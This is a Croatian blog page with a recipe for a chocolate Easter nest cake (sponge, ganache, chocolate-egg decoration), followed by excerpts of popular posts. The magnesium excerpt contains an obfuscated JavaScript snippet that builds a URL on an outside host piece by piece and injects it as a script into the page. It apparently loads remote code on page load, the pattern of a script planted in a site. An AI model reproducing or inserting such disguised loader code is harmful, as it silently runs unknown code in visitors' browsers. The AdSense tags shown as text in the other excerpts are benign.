ČOKOLADNO USKRSNO GNIJEZDO





Čokoladno uskrsno gnijezdo 



Na prvi pogled, riječ je o jednostavnom čokoladnom desertu, no ono što ga čini posebnim jest njegova prezentacija. Kolač se oblikuje poput gnijezda, a u sredinu se često dodaju mala čokoladna jaja, šećerne dekoracije ili svježe bobice. Upravo taj detalj pretvara ga iz običnog kolača u pravi uskrsni centerpiece na stolu.





Čokoladno uskrsno gnijezdo 


Sastojci:

Sastojci za biskvit:

  • 4 jaja
  • 120 g šećera
  • 100 g brašna
  • 20 g kakaa u prahu
  • 1 žličica praška za pecivo
  • prstohvat soli

Sastojci za kremu:

  • 200 g tamne čokolade
  • 200 ml slatkog vrhnja
  • 50 g maslaca

Za dekoraciju:

  • čokoladna jaja ili mini bomboni
  • ribana čokolada ili čokoladne mrvice
  • šećer u prahu (po želji)




Priprema:

  • Odvojite žumanjke od bjelanjaka. Bjelanjke umutite s prstohvatom soli u čvrsti snijeg. U drugoj zdjeli miksajte žumanjke sa šećerom dok smjesa ne postane svijetla i pjenasta.
  • Pomiješajte brašno, kakao i prašak za pecivo, pa ih postupno dodajte u smjesu sa žumanjcima. Na kraju lagano umiješajte snijeg od bjelanjaka, pazeći da smjesa ostane prozračna.
  • Smjesu izlijte u kalup obložen papirom za pečenje i pecite na 180 °C oko 20 minuta. Ostavite da se potpuno ohladi.
  • Zagrijte slatko vrhnje do vrenja, zatim ga prelijte preko nasjeckane tamne čokolade. Miješajte dok se čokolada potpuno ne otopi i smjesa postane glatka. Dodajte maslac i nastavite miješati dok ne dobijete sjajnu, kremastu teksturu. Ostavite da se malo ohladi i zgusne.
  • Ohlađeni biskvit možete ostaviti cijeli ili ga prerezati na dva sloja, ovisno o željenom efektu. Premažite ga čokoladnom kremom, a zatim dodatno oblikujte površinu tako da u sredini napravite lagano udubljenje, poput gnijezda.
  • Rubove kolača obložite ribanom čokoladom ili čokoladnim mrvicama kako biste dobili teksturu grančica. U sredinu pažljivo posložite čokoladna jaja ili druge dekoracije.
  • Kolač poslužite na sobnoj temperaturi, kada je krema savršeno mekana, a okusi potpuno razvijeni. Po želji ga lagano pospite šećerom u prahu za dodatni vizualni efekt.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više